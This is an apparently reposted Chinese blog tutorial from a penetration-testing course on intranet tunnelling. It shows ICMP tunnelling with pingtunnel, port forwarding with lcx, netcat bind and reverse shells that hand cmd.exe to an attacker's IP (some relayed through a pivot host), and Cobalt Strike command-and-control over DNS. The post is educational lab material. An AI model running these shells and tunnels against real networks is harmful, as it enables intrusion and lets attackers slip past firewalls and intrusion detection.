p71 内网安全-域横向网络传输应用层隧道技术

news2024/11/17 1:55:21

数据来源

必备知识点:

1、代理和隧道技术区别?

        代理:只是解决网络的访问问题(如:有些内网访问不到,可以用代理实现

        隧道:隧道不仅是解决网络的通信问题,更大的作用是绕过过滤,突破防火墙/入侵检测系统(是一种绕过端口屏蔽的通信方式

2、隧道技术为了解决什么?

        防火墙过滤问题、网络连接通信问题、数据回链封装问题(在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截

        比如:CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等问题,都可以通过隧道技术解决。

3、隧道技术前期的必备条件?

        隧道有各种层面的,每个层面又分不同协议,你想要用哪个隧道,就需要先确定目标主机是否支持对应隧道协议

        比如:你想用一个网络层的 ICMP 隧道,这个时候你要去检测目标主机支不支持ICMP隧道的开启。怎么检测呢?可以使用ping命令去ping地址,看能不能正常通信,如果能的话就可以。

隧道原理:

        在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况, 如果发现异样,就会对通信进行阻断

        那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。

        防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙, 与对方进行通信当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上

常用的隧道技术有以下三种:(OSI与TCP/IP 5层协议_正经人_____的博客)

  • 网络层:IPv6 隧道、ICMP 隧道
  • 传输层:TCP 隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

演示案例

  • 网络传输应用层检测连通性-检测
  • 网络层 ICMP 隧道 Ptunnel 使用-检测,利用
  • 传输层转发隧道 Portmap 使用-检测,利用
  • 传输层转发隧道 Netcat 使用-检测,利用,功能
  • 应用层 DNS 隧道配合 CS 上线-检测,利用,说明

环境准备:

        1台klai(攻击机),一台普通的虚拟机(我这里是win2003) 

案例 1 - 网络传输应用层检测连通性-检测

注意:下面的检测首先可以检测你的靶机开启了哪些端口:netstat -an 

1. TCP协议

TCP端口介绍:TCP端口_百度百科 (baidu.com)

用 “ 瑞士军刀 ” —— netcat  (kali自带),如果要安装到windows:在windows下载安装netcat(nc)命令_netcat下载_正经人_____的博客-CSDN博客

执行命令(你的靶机要开启TCP端口才能检测成功,不然就会报连接超时之类的错误)

# -vz检测TCP端口、192.168.1.45 靶机ip、我这里是检测21端口
nc -vz 192.168.1.45 21

开启20/21端口(FTP):FTP服务器_slyar ftpserver_正经人_____的博客

开启23端口(telnet):服务器远程管理(telnet )_telnet远程管理_正经人_____的博客

开启53端口(DNS):DNS部署与安全__dnsauth主机记录 是否安全_正经人_____的博客 

开启80端口(http):IIS之WEB服务器_iis的web默认端口_正经人_____的博客-CSDN博客

DNS部署与安全__dnsauth主机记录 是否安全_正经人_____的博客

 UDP端口介绍:udp端口号有哪些-常见问题-PHP中文网

2. HTTP协议

用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的 话,就会输出相应的端口信息

3. ICMP协议

用“ping”命令,执行 ping <IP 地址/域名>

ping 192.168.1.45 -c4   # -c4 发送4个包,不设置就是一直发送,如果是windows系统默认就是发送4个数据探测包

4. DNS协议

检测 DNS 连通性常用的命令是“nslookup”和“dig”

nslookup 是 windows 自带的 DNS 探测命令

dig 是 linux 系统自带的 DNS 探测命令

dig 192.168.1.45

案例 2 - 网络层 ICMP 隧道 ptunnel 使用-检测,利用

kali2020-Target2-Target3

pingtunnel 工具介绍:

下载:

  • 老版本介绍:https://github.com/f1vefour/ptunnel (需自行编译)
  • 新版本介绍:GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP (二次开发版,推荐用这个,老版已经不更新)

作用:pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

-p 表示连接 icmp 隧道另一端的机器 IP(即目标服务器)

-lp 表示需要监听的本地 tcp 端口

-da 指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)

-dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口)

-x 设置连接的密码

实验前提:成拿下目标内网的一台虚拟机(我这里是本地环境搭建的),并且该虚拟机可以访问我们的受害者主机,并且我们已经知道受害者主机的账号密码。

环境搭建:

用到的虚拟机:一台kali(攻击机),一台linux虚拟机(跳板机),一台win7虚拟机(目标/靶机)

虚拟机开那台都不受影响,你随便开3台虚拟机都可以,就是下载 pingtunnel 工具的时候就下载与你虚拟机相对应的版本就行。

虚拟机网络配置

kalilinuxlinux
VM8VM8VM1
VM1

这样配置的结果:跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信 

隧道工具准备:

pingtunnel工具下载:Releases · esrrhs/pingtunnel (github.com)

注意:这个的服务端与客户端都是同一个文件,只是通过命令来分别启动服务端与客户端 

开启pingtunnel的服务端: 

我这里使用蚁剑连接linux虚拟机(跳板机),然后将刚才下载的工具上传上去,并执行命令把这台虚拟机当做服务器:

#                   服务端      连接密码(可改)
./pingtunnel -type server -key 1234

# -type     服务器或者客户端 client or server
# -key      设置的密码,默认0

这里我使用蚁剑执行命令出现问题报错了, 找了很久找不到解决方案,最后我换成xshell连接成功了

pingtunnel客户端:在kali开启客户端连接我们的服务端口(都是用同一个文件)

  

# client(客户端) :4455(本地开启监听的端口可改)192.168.1.77(服务端ip地址)  192.168.22.133:3389(目标ip与端口) 1234(连接密码)
    
./pingtunnel -type client -l :4455 -s 192.168.1.77 -t 192.168.22.133:3389 -tcp 1 -key 1234

# 监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 192.168.22.133 服务器的 3389 端口

# -s        服务器的地址,流量将通过隧道转发到这个服务器
# -l        本地的地址,发到这个端口的流量将转发到服务器
# -tcp      设置是否转发tcp,默认0
# -t        远端服务器转发的目的地址,流量将转发到这个地址

最后就可以在kali中访问自己的4455端口从而访问192.168.22.133的3389

rdesktop 127.0.0.1:4455

这个Pingtunnel工具的使用参考了:【Pingtunnel工具教程】利用ICMP隧道技术进行ICMP封装穿透防火墙_归去来兮-zangcc的博客

视频中的老师使用的工具是老版的工具,操作太麻烦了而且那个工具作者也不更新了,所以就自己搞了一个。

工具的可选参数(直接输入:./pingtunnel  # 就会打印出工具的使用参数)

服务器参数server param:

服务器参数server param:

    -key      设置的密码,默认0

    -nolog    不写日志文件,只打印标准输出,默认0

    -noprint  不打印屏幕输出,默认0

    -loglevel 日志文件等级,默认info

    -maxconn  最大连接数,默认0,不受限制

    -maxprt   server最大处理线程数,默认100

    -maxprb   server最大处理线程buffer数,默认1000

    -conntt   server发起连接到目标地址的超时时间,默认1000ms

客户端参数client param: 

客户端参数client param:

    -l        本地的地址,发到这个端口的流量将转发到服务器

    -s        服务器的地址,流量将通过隧道转发到这个服务器

    -t        远端服务器转发的目的地址,流量将转发到这个地址

    -timeout  本地记录连接超时的时间,单位是秒,默认60s

    -key      设置的密码,默认0

    -tcp      设置是否转发tcp,默认0

    -tcp_bs   tcp的发送接收缓冲区大小,默认1MB

    -tcp_mw   tcp的最大窗口,默认20000

    -tcp_rst  tcp的超时发送时间,默认400ms

    -tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0

    -tcp_stat 打印tcp的监控,默认0

    -nolog    不写日志文件,只打印标准输出,默认0

    -noprint  不打印屏幕输出,默认0

    -loglevel 日志文件等级,默认info

    -sock5    开启sock5转发,默认0

    -profile  在指定端口开启性能检测,默认0不开启

    -s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发

    -s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb

案例 3 - 传输层转发隧道 Portmap 使用-检测,利用

windows: lcx 

下载:GitHub - UndefinedIdentifier/LCX: 自修改免杀lcx端口转发工具

环境准备:

  • 因为下载的工具是.exe文件,所以这里准备的跳板机与受害者主机都是win,另加一台攻击机kali
  • 跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信。

跳板机中执行

# 将受害者 3389端口 给本地的 3131端口(跳板机)
lcx.exe -slave 127.0.0.1 3131 192.168.22.133 3389

# 192.168.22.133 受害者的主机

# 监听本地的3131转发到3333上
lcx.exe -listen 3131 3333

kali攻击机中连接受害者的3389端口

rdesktop 192.168.1.74:3333

linux:portmap

github地址:GitHub - kaklakariada/portmapper: A tool for managing port forwardings via UPnP

下载地址:https://github.com/kaklakariada/portmapper/releases/download/v2.2.3/portmapper-2.2.3.jar

这里就演示了,需要的自己下载参考官网的使用方法来就行了,操作都差不多

总结:

        这个代理技术大概的过程就是,我们已经控制了内网中的一台主机当跳板机,然后在使用lcx工具将受害者主机的的3389端口给到已经被我们控制的跳板机,然后再通过我们的kali攻击机访问跳板机监听的端口就能实现访问受害者主机(不然我们直接连接受害者主机是做不到的)

        总的来说这种代理方式使用起来还是挺方便的

案例 4 - 传输层转发隧道 Netcat 使用-检测,利用,功能

Kali2020-god\webserver-god\sqlserver|dc

win下载nc:在windows下载安装netcat(nc)命令_netcat下载_正经人_____的博客-CSDN博客

如果只是在nc的根目录下运行,可以不需要配置环境变量 

1. 双向连接反弹 shell

环境准备:一台kali(攻击机),一台win(靶机),注意:kali自带nc,win要自己安装nc

正向:攻击连接受害

受害者主机运行

# 受害
nc -ldp 1234 -e /bin/sh
nc -ldp 1234 -e c:\windows\system32\cmd.exe  # nc把cmd会话反弹给1234端口 

kali中运行  

# 攻击主动连接 (攻击机主动连接受害者的1234端口获取cmd)   192.168.1.81受害者ip
nc 192.168.1.81 1234

反向:受害连接攻击

kali中运行

# 攻击
nc -lvp 1234     # 监听1234端口

受害者主机运行 

# 受害主动连接
nc 攻击主机 IP 1234 -e /bin/sh
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe   # nc把cmd会话反弹给攻击机的1234端口

查看kali的监听情况 

2. 多向连接反弹 shell - 配合转发(这个案例比较鸡肋)

反向:

环境准备:一台kali攻击机,一台win跳板机,一受害者主机

        跳板机与我们的攻击机kali是可以互相通信,但是kali无法跟受害者主机通信,而跳板机可以与受害者主机通信,网络配置就用之前的就行了(跳板机和kali有一个相通的网段 - 跳板机和受害者主机有相通的网段)

虚拟机网络配置 

kali跳板机受害者
VM8VM8VM1
VM1

跳板机运行

# 监听本地的 2222 转发到3333上
god\Webserver:Lcx.exe -listen 2222 3333

受害者主机运行

nc 192.168.22.141 2222 -e c:\windows\system32\cmd.exe  # nc把cmd会话反弹给跳板机的 2222 端口

kali中运行

nc -v 192.168.1.81 3333

这里有乱码,解决: chcp 65001    # 修改编码

流程解释:跳板机将2222端口的信息都转发到3333端口上并开启了监听,受害者生成一个cmd窗口给跳板机的2222端口,然后被转发到3333端口上了,最后kali监听跳板机的3333端口,即获取了受害者的cmd会话。

正向该怎么操作呢?实战中改怎么选择正向和反向?

3. 相关 netcat 主要功能测试

指纹服务:nc -nv 192.168.22.143     (我这里扫不出来)

端口扫描:nc -v -z 192.168.22.143 1-100

端口监听:nc -lvp xxxx

文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

反弹 Shell:见上

案例 5 - 应用层 DNS 隧道配合 CS 上线-检测,利用,说明

应用层:SSH、HTTP/S隧道、DNS隧道

当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀

1. 云主机 Teamserver 配置端口 53 启用-udp

2. 买一个域名修改解析记录如下:

A 记录->cs 主机名->CS 服务器 IP

NS 记录->ns1 主机名->上个 A 记录地址

NS 记录->ns2 主机名->上个 A 记录地址

3. 配置 DNS 监听器内容如下:

ns1.xiaodi8.com

ns2.xiaodi8.com

cs.xiaodi8.com

4. 生成后门执行上线后启用命令:

beacon> checkin

[*] Tasked beacon to checkin

beacon> mode dns-txt

beacon> shell whoami

如果你们要下载CS:cobaltstrike的安装与基础使用_cobalt strike windows运行_正经人_____的博客-CSDN博客

可以参考这位老哥的搭建,我没买DNS服务器就不搞了:应用层DNS隧道配合CS上线_51CTO博客_dns 应用层

域名的字符越多就越便宜,便宜的都要18,够我吃顿外卖,等以后实战要用到再搞,操作挺简单的 

涉及资源

GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/497785.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

菜刀、蚁剑以及冰蝎三款Webshell管理工具简介

今天继续给大家介绍渗透测试相关知识&#xff0c;本文主要内容是菜刀、蚁剑以及冰蝎三款Webshell管理工具简介。 免责声明&#xff1a; 本文所介绍的内容仅做学习交流使用&#xff0c;严禁利用文中技术进行非法行为&#xff0c;否则造成一切严重后果自负&#xff01; 再次强调&…

YOLO(你只需看一眼)技术通讲(基于论文与开源代码)

YOLO通讲 前言YOLO v1论文及项目地址介绍模型架构统一检测边界框的置信度类置信度 网络设计训练 模型局限总结 YOLO v2模型改进正则化批处理使用高分辨率分类器卷积化锚盒维度聚类 前言 YOLO作为现在目标检测技术中较为基础且流行的技术之一。本文将以开源者的论文与模型为基础…

UE5实现物体高亮描边效果(含UE相关源码浅析)

文章目录 1.实现目标2.实现过程2.1 UE Editor中相关源码2.2 深度值描边2.3 半透明材质处理2.4 遮挡处理2.5 视口边缘处理3.参考资料1.实现目标 在UE5中实现物体边缘高亮效果,且在被遮挡时在边缘显示不同的颜色,当到达视口边缘时,也会将该物体与视口边缘相交的部分高亮。 2.…

纯比例控制为什么会存在稳态误差,用纯增益系统举例

warning: 本文仅为个人思考&#xff0c;非常不严谨甚至可能会出现严重错误&#xff0c;请读者仔细甄别&#xff0c;若本文真的存在严重错误&#xff0c;恳请评论区纠正&#xff0c;我看到将会考虑修改或者删除文章 纯比例控制存在稳态误差是由其本质&#xff08;控制逻辑&#…

从FPGA说起的深度学习(九)- 优化最终章

这是新的系列教程&#xff0c;在本教程中&#xff0c;我们将介绍使用 FPGA 实现深度学习的技术&#xff0c;深度学习是近年来人工智能领域的热门话题。 在本教程中&#xff0c;旨在加深对深度学习和 FPGA 的理解。 用 C/C 编写深度学习推理代码高级综合 (HLS) 将 C/C 代码转换为…

【在线OJ项目】核心技术之用户提交代码的编译运行

目录 一、认识Java进程编程 二、在线OJ核心思路 三、封装进程的执行 四、封装文件读写 五、封装用户提交代码的编译运行 一、认识Java进程编程 在之前的文章里提到了Java进程编程的相关API【JavaEE】Java中进程编程_1373i的博客-CSDN博客https://blog.csdn.net/qq_6190341…

【代码随想录】刷题Day17

1.AVLTree判断 110. 平衡二叉树 后序遍历的强化理解&#xff1a; 所谓后续遍历&#xff0c;不仅仅是一种遍历&#xff0c;其实它是完成了所有左右子树的递归。后续遍历能将自己所求的值返回给上层节点。这在比较中很关键&#xff0c;举个例子&#xff0c;我们能得到下边节点返…

Makefile教程(Makefile的结构)

文章目录 前言一、Makefile的结构二、深入案例三、Makefile中的一些技巧总结 前言 一、Makefile的结构 Makefile 通常由一系列规则组成&#xff0c;每条规则定义了如何从源文件生成目标文件。每个规则又由目标、依赖和命令三部分组成。 下面是 Makefile 规则的基本结构&…

Matlab官方的两个配色colormap补充包

目录 一、othercolor 1、使用方法 2、图示 二、slanCM 1、使用方法 2、图示 三、从matlab上下的函数如何使用 一、othercolor 下载地址&#xff1a;matlab_othercolor.zip 1、使用方法 不指定获取颜色个数会默认256色&#xff0c;举例获取[163]号彩虹色(rainbow)&…

Java阶段二Day15

Java阶段二Day15 文章目录 Java阶段二Day15复习前日知识点对象数据类型注入数组类型注入集合类型的注入p命名空间引入外部属性文件 基于XML管理beanbean的作用域bean的生命周期代码演示生命周期后置处理器处理展示基于XML的自动装配 基于注解管理bean开启组件扫描使用注解定义B…

【A200】 TX1核心 JetPack4.6.2版本如何修改DTB文件测试全部SPI

大家好&#xff0c;我是虎哥&#xff0c;很长时间没有发布新内容&#xff0c;主要是这段时间集中精力&#xff0c;研究DTB设备树的修改&#xff0c;以适配不同载板&#xff0c;同时也是专门做了一个TX1&TX2核心&#xff0c;双网口&#xff0c;可以使用SPI 扩展CAN接口的载板…

java获取resources路径的方法

我们在写程序的时候&#xff0c;有时候会发现代码不能正常运行&#xff0c;出现提示异常的问题&#xff0c;这就说明我们的代码没有执行完&#xff0c;也就是没有 resource&#xff0c;其实遇到这种情况&#xff0c;我们只需要把代码重新执行一遍即可。 在 java中是可以实现 re…

【计算机组成原理笔记】计算机的基本组成

计算机的基本组成 文章目录 计算机的基本组成冯诺伊曼计算机的特点硬件框图以运算器为核心的计算机现代计算机系统复杂性管理的方法 计算机的工作步骤存储器运算器控制器I/0 脚注 冯诺伊曼计算机的特点 五大部件组成 运算器存储器控制器输入设备输出设备 指令和地址以同等地位…

基于CUDA的GPU计算PI值

访问【WRITE-BUG数字空间】_[内附完整源码和文档] 基于CUDA的GPU计算PI值。本项目使用CUDA编程模型并行计算PI值&#xff0c;研究GPU与CPU效率的比较&#xff0c;分析不同GPU线程分块对性能的影响。 异构计算试验报告 —实验1&#xff1a;基于CUDA的GPU计算PI值 第一部分&…

原型模式--深拷贝和浅拷贝

定义 Specify the kind of objects to create using a prototypical instance, and create new objects by copying this prototype. &#xff08;使用原型实例指定将要创建的对象类型&#xff0c;通过复制这个实例创建新的对象。&#xff09; 从定义中我们我们可以发现&#x…

2023年4月Web3行业月度发展报告区块链篇 | 陀螺科技会员专享

4月&#xff0c;以太坊上海升级与香港Web3动向成最大热点&#xff0c;上海升级的完成是转POS的重要里程碑&#xff0c;从市场而言&#xff0c;由于升级解锁质押ETH是否引发抛压备受关注&#xff0c;仅以交易表现来看&#xff0c;并未出现大范围的抛压与离场。另一方面&#xff…

算力提升+AIGC,是驱动元宇宙发展的核心引擎|数据猿直播干货分享

‍数据智能产业创新服务媒体 ——聚焦数智 改变商业 “元宇宙”是美国科幻小说家尼奥斯蒂文森1992年在《雪崩》中提出的概念&#xff0c;书中设定现实世界中的人在网络世界中都有一个分身&#xff0c;这个由分身组成的世界就是“元宇宙”。如今&#xff0c;随着虚拟现实技术的…

60+开箱即用的工具函数库xijs更新指南(v1.2.5)

xijs 是一款开箱即用的 js 业务工具库, 聚集于解决业务中遇到的常用函数逻辑问题, 帮助开发者更高效的开展业务开发. 接下来就和大家一起分享一下v1.2.5 版本的更新内容以及后续的更新方向. 贡献者列表: 1. 数据深拷贝cloneDeep 该模块主要由 20savage 贡献, 支持 symbol, map,…

BM58-字符串的排列

题目 输入一个长度为 n 字符串&#xff0c;打印出该字符串中字符的所有排列&#xff0c;你可以以任意顺序返回这个字符串数组。 例如输入字符串ABC,则输出由字符A,B,C所能排列出来的所有字符串ABC,ACB,BAC,BCA,CBA和CAB。 数据范围&#xff1a;n < 10。 要求&#xff1a;空…

[架构之路-191]-《软考-系统分析师》-8-软件工程 - 解答什么是面向功能的结构化程序设计:算法+数据结构 = 程序

目录 1. 什么是结构化程序设计 2. 结构化程序设计的局限性 3.程序设计的三种基本结构 (1) 顺序结构 (2) 选择结构 (3) 循环结构 1. 什么是结构化程序设计 功能 》 Function 》 函数 》 算法 数据流Data Flow 》 数据结构Data Strucuture 程序 算法 数据结构 》 数…